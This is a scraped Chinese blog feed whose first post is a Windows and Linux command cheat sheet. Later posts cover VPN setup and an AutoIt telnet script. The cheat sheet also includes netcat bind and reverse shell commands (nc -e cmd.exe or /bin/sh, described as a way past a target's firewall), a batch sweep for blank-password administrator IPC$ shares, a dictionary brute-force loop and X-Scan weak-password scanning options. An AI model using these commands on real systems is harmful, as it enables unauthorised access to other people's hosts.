regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； &#xD;
regedit /e 注册表文件名 导出注册表 &#xD;
cacls 文件名 参数 显示或修改文件访问控制列表（ACL）&amp;#8212;&amp;#8212;针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 &#xD;
cacls 文件名 查看文件的访问用户权限列表 &#xD;
REM 文本内容 在批处理文件中添加注解 &#xD;
netsh 查看或更改本地网络配置情况&#xD;
&#xD;
#4 四：&#xD;
&#xD;
IIS服务命令： &#xD;
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） &#xD;
iisreset /start或stop 启动（停止）所有Internet服务 &#xD;
iisreset /restart 停止然后重新启动所有Internet服务 &#xD;
iisreset /status 显示所有Internet服务状态 &#xD;
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 &#xD;
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 &#xD;
iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 &#xD;
iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 &#xD;
FTP 命令： (后面有详细说明内容) &#xD;
ftp的命令行格式为:&#xD;
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。&#xD;
－d 使用调试方式。 &#xD;
－n 限制ftp的自动登录,即不使用.netrc文件。&#xD;
－g 取消全局文件名。 &#xD;
help [命令] 或 ？[命令] 查看命令说明 &#xD;
bye 或 quit 终止主机FTP进程,并退出FTP管理方式. &#xD;
pwd 列出当前远端主机目录 &#xD;
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 &#xD;
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 &#xD;
mget [remote-files] 从远端主机接收一批文件至本地主机 &#xD;
mput local-files 将本地主机中一批文件传送至远端主机 &#xD;
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 &#xD;
ascii 设定以ASCII方式传送文件(缺省值) &#xD;
bin 或 image 设定以二进制方式传送文件 &#xD;
bell 每完成一次文件传送,报警提示 &#xD;
cdup 返回上一级目录 &#xD;
close 中断与远程服务器的ftp会话(与open对应) &#xD;
open host[port] 建立指定ftp服务器连接,可指定连接端口 &#xD;
delete 删除远端主机中的文件 &#xD;
mdelete [remote-files] 删除一批文件 &#xD;
mkdir directory-name 在远端主机中建立目录 &#xD;
rename [from] [to] 改变远端主机中的文件名 &#xD;
rmdir directory-name 删除远端主机中的目录 &#xD;
status 显示当前FTP的状态 &#xD;
system 显示远端主机系统类型 &#xD;
user user-name [password] [account] 重新以别的用户名登录远端主机 &#xD;
open host [port] 重新建立一个新的连接 &#xD;
prompt 交互提示模式 &#xD;
macdef 定义宏命令 &#xD;
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 &#xD;
chmod 改变远端主机的文件权限 &#xD;
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 &#xD;
cd remote－dir 进入远程主机目录 &#xD;
cdup 进入远程主机目录的父目录 &#xD;
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip&#xD;
&#xD;
#5 五：&#xD;
&#xD;
MYSQL 命令： &#xD;
mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。&#xD;
（例：mysql -h110.110.110.110 -Uroot -P123456 &#xD;
注:u与root可以不用加空格，其它也一样） &#xD;
exit 退出MYSQL &#xD;
mysql*** -u用户名 -p旧密码 password 新密码 修改密码 &#xD;
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） &#xD;
show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 &#xD;
use mysql；&#xD;
show tables; 显示库中的数据表 &#xD;
describe 表名; 显示数据表的结构 &#xD;
create database 库名; 建库 &#xD;
use 库名；&#xD;
create table 表名 (字段设定列表)； 建表 &#xD;
drop database 库名; &#xD;
drop table 表名； 删库和删表 &#xD;
delete from 表名; 将表中记录清空 &#xD;
select * from 表名; 显示表中的记录 &#xD;
mysqldump --opt school&amp;gt;school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 &#xD;
win2003系统下新增命令（实用部份）： &#xD;
shutdown /参数 关闭或重启本地或远程主机。&#xD;
参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。&#xD;
例：shutdown /r /t 0 立即重启本地主机（无延时） &#xD;
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。&#xD;
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 &#xD;
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。&#xD;
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。&#xD;
&#xD;
#6 六：&#xD;
&#xD;
Linux系统下基本命令： 要区分大小写 &#xD;
uname 显示版本信息（同win2K的 ver） &#xD;
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） &#xD;
pwd 查询当前所在的目录位置 &#xD;
cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。 &#xD;
cat 文件名 查看文件内容 &#xD;
cat &amp;gt;abc.txt 往abc.txt文件中写上内容。 &#xD;
more 文件名 以一页一页的方式显示一个文本文件。 &#xD;
cp 复制文件 &#xD;
mv 移动文件 &#xD;
rm 文件名 删除文件，rm -a 目录名删除目录及子目录 &#xD;
mkdir 目录名 建立目录 &#xD;
rmdir 删除子目录，目录内没有文档。 &#xD;
chmod 设定档案或目录的存取权限 &#xD;
grep 在档案中查找字符串 &#xD;
diff 档案文件比较 &#xD;
find 档案搜寻 &#xD;
date 现在的日期、时间 &#xD;
who 查询目前和你使用同一台机器的人以及Login时间地点 &#xD;
w 查询目前上机者的详细资料 &#xD;
whoami 查看自己的帐号名称 &#xD;
groups 查看某人的Group &#xD;
passwd 更改密码 &#xD;
history 查看自己下过的命令 &#xD;
ps 显示进程状态 &#xD;
kill 停止某进程 &#xD;
gcc 黑客通常用它来编译C语言写的文件 &#xD;
su 权限转换为指定使用者 &#xD;
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 &#xD;
ftp ftp连接上某服务器（同win2K） &#xD;
&#xD;
附：批处理命令与变量&#xD;
&#xD;
1：for命令及变量 基本格式： &#xD;
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。&#xD;
批处理每次能处理的变量从%0&amp;#8212;%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2&amp;#8212;%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3&#xD;
&#xD;
(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ &amp;#8220;(1 1 254)&amp;#8221;第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；&amp;#8220;(1 -1 254)&amp;#8221;说明：即从254到1 }&#xD;
&#xD;
command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp;amp; 来隔开&#xD;
command_parameters：为特定命令指定参数或命令行开关&#xD;
&#xD;
IN (set)：指在(set)中取值；DO command ：指执行command&#xD;
&#xD;
参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 &#xD;
用法举例： &#xD;
@echo off &#xD;
echo 用法格式：test.bat *.*.* &amp;gt; test.txt &#xD;
&#xD;
for /L %%G in (1 1 254) do echo %1.%%G &amp;gt;&amp;gt;test.txt &amp;amp; net use \\%1.%%G /user:***istrator | find "命令成功完成" &amp;gt;&amp;gt;test.txt &#xD;
存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。&#xD;
&#xD;
/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp;amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 &#xD;
@echo off &#xD;
echo 用法格式：ok.bat ip &#xD;
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 &#xD;
存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。&lt;a href="http://www.jz5u.com/" target="_blank" style="text-decoration: none; vertical-align: baseline; color: #133db6; "&gt;http://www.jz5u.com&lt;/a&gt;&#xD;
&#xD;
#7 七：&#xD;
&#xD;
2：if命令及变量 基本格式： &#xD;
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为&amp;#8220;真&amp;#8221;。&#xD;
例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。&#xD;
0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 &#xD;
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。&#xD;
例：&amp;#8220;if "%2%"=="4" goto start&amp;#8221;指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） &#xD;
IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。&#xD;
例：&amp;#8220;if not nc.exe goto end&amp;#8221;指：如果没有发现nc.exe文件就跳到":end"标签处。 &#xD;
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用&amp;lt; &amp;gt;括起来，因为del命令要单独一行时才能执行，用上&amp;lt; &amp;gt;后就等于是单独一行了；例如：&amp;#8220;if exist test.txt. else echo test.txt.missing &amp;#8221;，注意命令中的&amp;#8220;.&amp;#8221;&#xD;
&#xD;
系统外部命令(均需下载相关工具)：&#xD;
&#xD;
1、瑞士军刀：nc.exe&#xD;
&#xD;
参数说明： &#xD;
-h 查看帮助信息 &#xD;
-d 后台模式 &#xD;
-e prog程序重定向，一但连接就执行〔危险〕 &#xD;
-i secs延时的间隔 &#xD;
-l 监听模式，用于入站连接 &#xD;
-L 监听模式，连接天闭后仍然继续监听，直到CTR+C &#xD;
-n IP地址，不能用域名 &#xD;
-o film记录16进制的传输 &#xD;
-p[空格]端口 本地端口号 &#xD;
-r 随机本地及远程端口 &#xD;
-t 使用Telnet交互方式 &#xD;
-u UDP模式 &#xD;
-v 详细输出，用-vv将更详细 &#xD;
-w数字 timeout延时间隔 &#xD;
-z 将输入，输出关掉（用于扫锚时） &#xD;
基本用法： &#xD;
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 &#xD;
nc -l -p 80 开启本机的TCP 80端口并监听 &#xD;
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 &#xD;
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 &#xD;
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 &#xD;
高级用法： &#xD;
nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 &#xD;
nc -L -p 80 &amp;gt; c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt &#xD;
nc -L -p 80 &amp;lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 &#xD;
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 &#xD;
本机上用：nc -l -p 本机端口 &#xD;
在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K&#xD;
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 &#xD;
本机上用：nc -d -l -p 本机端口 &amp;lt; 要传送的文件路径及名称 &#xD;
在对方主机上用：nc -vv 本机IP 本机端口 &amp;gt; 存放文件的路径及名称 传送文件到对方主机 &#xD;
备 注： &#xD;
| 管道命令 &#xD;
&amp;lt; 或 &amp;gt; 重定向命令。&amp;#8220;&amp;lt;&amp;#8221;，例如：tlntadmn &amp;lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 &#xD;
＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &amp;gt;&amp;gt; d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 &#xD;
&amp;gt;与&amp;gt;&amp;gt;的区别  "&amp;gt;"指：覆盖；"&amp;gt;&amp;gt;"指：保存到(添加到）。&#xD;
如：@dir c:\winnt &amp;gt;&amp;gt; d:\log.txt和@dir c:\winnt &amp;gt; d:\log.txt二个命令分别执行二次比较看：用&amp;gt;&amp;gt;的则是把二次的结果都保存了，而用：&amp;gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。&#xD;
&#xD;
#8 八：&#xD;
&#xD;
2、扫锚工具：xscan.exe&#xD;
&#xD;
基本格式 &#xD;
xscan -host &amp;lt;起始IP&amp;gt;[-&amp;lt;终止IP&amp;gt;] &amp;lt;检测项目&amp;gt; [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 &#xD;
xscan -file &amp;lt;主机列表文件名&amp;gt; &amp;lt;检测项目&amp;gt; [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 &#xD;
检测项目 &#xD;
-active 检测主机是否存活 &#xD;
-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） &#xD;
-port 检测常用服务的端口状态 &#xD;
-ftp 检测FTP弱口令 &#xD;
-pub 检测FTP服务匿名用户写权限 &#xD;
-pop3 检测POP3-Server弱口令 &#xD;
-smtp 检测SMTP-Server漏洞 &#xD;
-sql 检测SQL-Server弱口令 &#xD;
-smb 检测NT-Server弱口令 &#xD;
-iis 检测IIS编码/解码漏洞 &#xD;
-cgi 检测CGI漏洞 &#xD;
-nasl 加载Nessus攻击脚本 &#xD;
-all 检测以上所有项目 &#xD;
其它选项 &#xD;
-i如果失败，再使用用户名 &lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/cursorkey/aggbug/2117793.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cursorkey/archive/2011/07/27/2117793.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cursorkey/archive/2011/07/27/2117792.html</id><title type="text">【转】VPN服务器和客户端配置</title><summary type="text">转自：http://pcranch.blogcn.com/服务器是Windows 2003系统，2003中VPN服务叫做“路由和远程访问”，系统默认就安装了这个服务，但是没有启用。首先我们要做的是保证vpn起用的条件,&amp;quot;一停四开&amp;quot;1.window自带的防火墙(windows firewall/internet connection sharing (ICS) 要停止2.远程注册表服务（Remote Registry)必须开启3.server服务 (Server)必须开启4.route路由服务(Routing and Remote Access)必须开启5.Workstati</summary><published>2011-07-26T16:22:00Z</published><updated>2011-07-26T16:22:00Z</updated><author><name>Cursorkey</name><uri>http://www.cnblogs.com/cursorkey/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cursorkey/archive/2011/07/27/2117792.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cursorkey/archive/2011/07/27/2117792.html"/><content type="html">&lt;div&gt;&lt;span style="color: #333333; font-family: 'Courier New', Courier, mono, Fixed; font-size: 13px; line-height: 19px; "&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;转自：&lt;a href="http://pcranch.blogcn.com/"&gt;http://pcranch.blogcn.com/&lt;/a&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;服务器是Windows 2003系统，2003中VPN服务叫做&amp;#8220;路由和远程访问&amp;#8221;，系统默认就安装了这个服务，但是没有启用。&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;首先我们要做的是保证vpn起用的条件,"一停四开"&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;1.window自带的防火墙(windows firewall/internet connection sharing (ICS) 要停止&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;2.远程注册表服务（Remote Registry)必须开启&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;3.server服务 (Server)必须开启&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;4.route路由服务(Routing and Remote Access)必须开启&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;5.Workstation 服务必须开启&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;如果以上的做到了的话就可以配置vpn了,在管理工具中打开&amp;#8220;路由和远程访问&amp;#8221;&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;在列出的本地服务器上点击右键，选择&amp;#8220;配置并启用路由和远程访问&amp;#8221;。&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;在此，由于服务器是公网上的一台一般的服务器，不是具有路由功能的服务器，是单网卡的，所以这里选择&amp;#8220;自定义配置&amp;#8221;。下一步。这里寻VPN访问&amp;#8221;，我只需要VPN的功能。下一步，配置向导完成。点击&amp;#8220;是&amp;#8221;，开始服务。看启动了VPN服务后，&amp;#8220;路由和远程访问&amp;#8221;的界面，下面开始配置VPN服务器,在服务器上点击右键，选择&amp;#8220;属性&amp;#8221;，在弹出的窗口中选择&amp;#8220;IP&amp;#8221;标签，在&amp;#8220;IP地址指派&amp;#8221;中选择&amp;#8220;静态地址池&amp;#8221;。&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;然后点击&amp;#8220;添加&amp;#8221;按钮设置IP地址范围，这个IP范围就是VPN局域网内部的虚拟IP地址范围，每个拨入到VPN的服务器都会分配到一个范围内的IP，在虚拟局域网中用这个IP相互访问。这里设置为10.240.60.1-10.240.60.10，一共10个IP，默认的VPN服务器占用第一个IP，所以，10.240.60.1实际上就是这个VPN服务器在虚拟局域网的IP。至此，VPN服务部分配置完毕。&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;每个客户端拨入VPN服务器都需要有一个帐号，默认是windows身份验证，所以要给每个需要拨入到VPN的客户端设置一个用户，并为这个用户制定一个固定的内部虚拟IP以便客户端之间相互访问。在管理工具中的计算机管理里添加用户，这里以添加一个chnking用户为例先新建一个叫&amp;#8220;chnking&amp;#8221;的用户，创建好后，查看这个用户的属性，在&amp;#8220;拨入&amp;#8221;标签中做相应的设置。&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;远程访问权限设置为&amp;#8220;允许访问&amp;#8221;，以允许这个用户通过VPN拨入服务器。点寻分配静态IP地址&amp;#8221;，并设置一个VPN服务器中静态IP池范围内的一个IP地址，这里设为10.240.60.2如果有多个客户端机器要接入VPN，请给每个客户端都新建一个用户，并设定一个虚拟IP地址，各个客户端都使用分配给自己的用户拨入VPN，这样各个客户端每次拨入VPN后都会得到相同的IP。如果用户没设置为&amp;#8220;分配静态IP地址&amp;#8221;，客户端每次拨入到VPN，VPN服务器会随机给这个客户端分配一个范围内的IP。&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;特别说明一：设置NAT共享上网&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;本地服务器-&amp;gt;IP路由选择-&amp;gt;常规&amp;#8220;右键&amp;#8221;-&amp;gt;新增路由协议-&amp;gt;选择"NAT/基本防火墙"&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;在客户端配置好，即可以使用VPN代理上网。&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;特别说明二：批量增加VPN用户&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;net user USERNAME PASSWORD /add /passwordchg:no /comment:"VPN USER 20110617"&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;netsh ras set user USERNAME permit&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;删除用户：&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;net user USERNAME /delete&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;客户端可以是windows 2003，也可以是Windows XP，设置几乎一样，这里以2003客户端设置为例。选择程序--附件--通讯--新建连接向导，启动连接向导择第二项&amp;#8220;连接到我的工作场所的网络&amp;#8221;，这个选项是用来连接VPN的。下一步。在&amp;#8220;连接名&amp;#8221;窗口，填入连接名称，下一步。填入VPN服务器的公网IP地址。下一步，完成新建连接。完成后，在控制面板的网络连接中的虚拟专用网络下面可以看到刚才新建的连接,连接上点击右键，寻属性&amp;#8221;，在弹出的窗口中点击&amp;#8220;网络&amp;#8221;标签，然后选中&amp;#8220;internet协议(tcp/ip)&amp;#8221;，点击属性按钮，在弹出的窗口中再点击&amp;#8220;高级&amp;#8221;按钮，如图，把&amp;#8220;在远程网络上使用默认网关&amp;#8221;前面的勾去掉。如果不去掉这个勾，客户端拨入到VPN后，将使用远程的网络作为默认网关，导致的后果就是客户端只能连通虚拟局域网，上不了因特网了。&amp;nbsp;&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/cursorkey/aggbug/2117792.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cursorkey/archive/2011/07/27/2117792.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cursorkey/archive/2011/07/22/2113419.html</id><title type="text">AutoIt的telnet示例</title><summary type="text">;BEGIN SCRIPT----------------------------------------------;simulates a TELNET connectionGlobal $host, $port, $delay, $user, $pass, $sk, $ack$host = &amp;quot;192.168.1.1&amp;quot;$port = 23; miliseconds to wait before sending/receiving something$delay = 300 ; compensates network/internet delays$user = &amp;quo</summary><published>2011-07-21T16:35:00Z</published><updated>2011-07-21T16:35:00Z</updated><author><name>Cursorkey</name><uri>http://www.cnblogs.com/cursorkey/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cursorkey/archive/2011/07/22/2113419.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cursorkey/archive/2011/07/22/2113419.html"/><content type="html">&lt;div&gt;&lt;span style="color: #1c2837; font-family: arial, verdana, tahoma, sans-serif; font-size: 13px; line-height: 19px; "&gt;;BEGIN SCRIPT----------------------------------------------&lt;br /&gt;;simulates a TELNET connection&lt;br /&gt;&lt;br /&gt;Global $host, $port, $delay, $user, $pass, $sk, $ack&lt;br /&gt;&lt;br /&gt;$host = "192.168.1.1"&lt;br /&gt;$port = 23&lt;br /&gt;; miliseconds to wait before sending/receiving something&lt;br /&gt;$delay = 300 ; compensates network/internet delays&lt;br /&gt;$user = ""&lt;br /&gt;$pass = ""&lt;br /&gt;&lt;br /&gt;TCPStartup()&lt;br /&gt;$sk = TCPConnect($host, $port)&lt;br /&gt;&lt;br /&gt;;if invalid socket&lt;br /&gt;If $sk = -1 Then&lt;br /&gt;MsgBox(0, "", "Cannot connect")&lt;br /&gt;Exit&lt;br /&gt;EndIf&lt;br /&gt;&lt;br /&gt;; message from device&lt;br /&gt;Sleep($delay)&lt;br /&gt;$ack = TCPRecv($sk, 150)&lt;br /&gt;TrayTip("", $ack, 10)&lt;br /&gt;&lt;br /&gt;; verifying the correct answer&lt;br /&gt;If StringInStr($ack, "wl500gp login") &amp;gt;= 1 Then&lt;br /&gt;; if the string is correct then we send user&lt;br /&gt;Sleep($delay)&lt;br /&gt;TCPSend($sk, $user &amp;amp; @CRLF)&lt;br /&gt;Sleep($delay)&lt;br /&gt;$ack = TCPRecv($sk, 80)&lt;br /&gt;TrayTip("", $ack, 10)&lt;br /&gt;; and password&lt;br /&gt;Sleep($delay)&lt;br /&gt;TCPSend($sk, $pass &amp;amp; @CRLF)&lt;br /&gt;Sleep($delay)&lt;br /&gt;$ack = TCPRecv($sk, 80)&lt;br /&gt;TrayTip("", $ack, 10)&lt;br /&gt;Else&lt;br /&gt;MsgBox(0, "", "Cannot connect")&lt;br /&gt;Exit&lt;br /&gt;EndIf&lt;br /&gt;&lt;br /&gt;; verifying the answer of the device (the prompt that it returns after receiving user and password)&lt;br /&gt;If StringInStr($ack, "root]$") = 0 Then ; attention, this string is specific&lt;br /&gt;MsgBox(0, "Error", "Access denied")&lt;br /&gt;Exit&lt;br /&gt;EndIf&lt;br /&gt;&lt;br /&gt;; now you can send some commands&lt;br /&gt;Sleep($delay)&lt;br /&gt;TCPSend($sk, "ps" &amp;amp; @CRLF)&lt;br /&gt;Sleep($delay)&lt;br /&gt;$ack = TCPRecv($sk, 2000)&lt;br /&gt;MsgBox(0,"Running processes", $ack)&lt;br /&gt;&lt;br /&gt;TCPCloseSocket($sk)&lt;br /&gt;TCPShutdown()&lt;br /&gt;Exit&lt;br /&gt;;END SCRIPT----------------------------------------------&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/cursorkey/aggbug/2113419.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cursorkey/archive/2011/07/22/2113419.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cursorkey/archive/2011/04/06/2007334.html</id><title type="text">Office2007中FileSearch对象被丢弃后的替代方案</title><summary type="text">MS的脚本中心，有时间多看看：http://gallery.technet.microsoft.com/scriptcenter/方法一：Sub FileSearchByHavrda_Example_of_procedure_calling()&amp;#39;&amp;#39; Example of FileSearchByHavrda procedure calling as replacement of missing FileSearch function in the newest MS Office VBA&amp;#39; 01.06.2009, Author: P. Havrda, Czech 